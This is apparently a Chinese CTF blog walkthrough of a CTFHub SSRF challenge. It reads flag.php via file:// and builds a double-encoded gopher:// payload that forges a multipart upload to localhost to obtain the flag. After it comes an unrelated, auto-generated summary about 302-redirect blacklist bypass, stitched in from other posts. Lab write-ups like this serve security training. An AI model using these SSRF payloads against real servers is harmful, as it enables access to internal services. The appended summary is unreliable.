CTFHub技能树 Web-SSRF 上传文件

CTFHub技能树 Web-SSRF 上传文件


hint:这次需要上传一个文件到flag.php了,祝你好运

启动环境,依然为空白页面,查看URL:

http://challenge-30455822aa791779.sandbox.ctfhub.com:10800/?url=_

其通过 GET 方式传递了参数url,依照之前题目,尝试访问?url=127.0.0.1/flag.php
在这里插入图片描述
提示需要上传 Webshell,只有选择文件功能,并没有提交按钮。
使用file协议读取flag.php的源码:

?url=file:///var/www/html/flag.php

发送请求,得到目标源码:

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

form表单中写入提交按钮:

<input type="submit" name="submit">

在这里插入图片描述

随意上传一张图片,得到如下提示:
在这里插入图片描述
只允许从本地访问,重新上传文件,并使用BurpSuite抓取数据包:
在这里插入图片描述
参照CTFHub技能树 Web-SSRF POST请求,构造POST请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY

------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

与之前相同,将第一次URL编码后的数据中%0A替换为%0D%0A,并进行二次URL编码:
在这里插入图片描述

伪造如下请求数据:

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

构造Payload:

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

发送数据包,得到flag:
在这里插入图片描述

CTFHubWeb技能树中,302跳转是一种常见的技术。根据引用\[1\],302跳转继承了HTTP 1.0中302的实现,即无论原请求是GET还是POST,都可以自动进行重定向。而根据引用\[2\],在使用curl命令进行下载时,可以通过参数-C -实现断点续传,即在下载过程中按Ctrl + C停止下载,下次可以接着上次的进度继续下载。这样可以节省时间,避免重复下载已经下载过的部分。 在某些情况下,302跳转可能会受到黑名单的限制。根据引用\[3\],黑名单可能限制了特定的网段,如127、172、10、192网段。然而,可以通过使用localhost的方式绕过这些限制。例如,将http://127.0.0.1/flag.php转换为短网址,并构造Payload发送请求,利用302跳转可以获取到flag。 总结来说,302跳转是一种常见的Web技术,可以用于重定向请求。在CTFHubWeb技能树中,了解如何使用302跳转以及如何绕过黑名单限制是很重要的。 #### 引用[.reference_title] - *1* *2* [2.CTFhub技能树 web前置技能 http协议 302跳转](https://blog.csdn.net/FFFFFFMVPhat/article/details/121342556)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树 Web-SSRF 302跳转 Bypass](https://blog.csdn.net/weixin_44037296/article/details/118482943)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值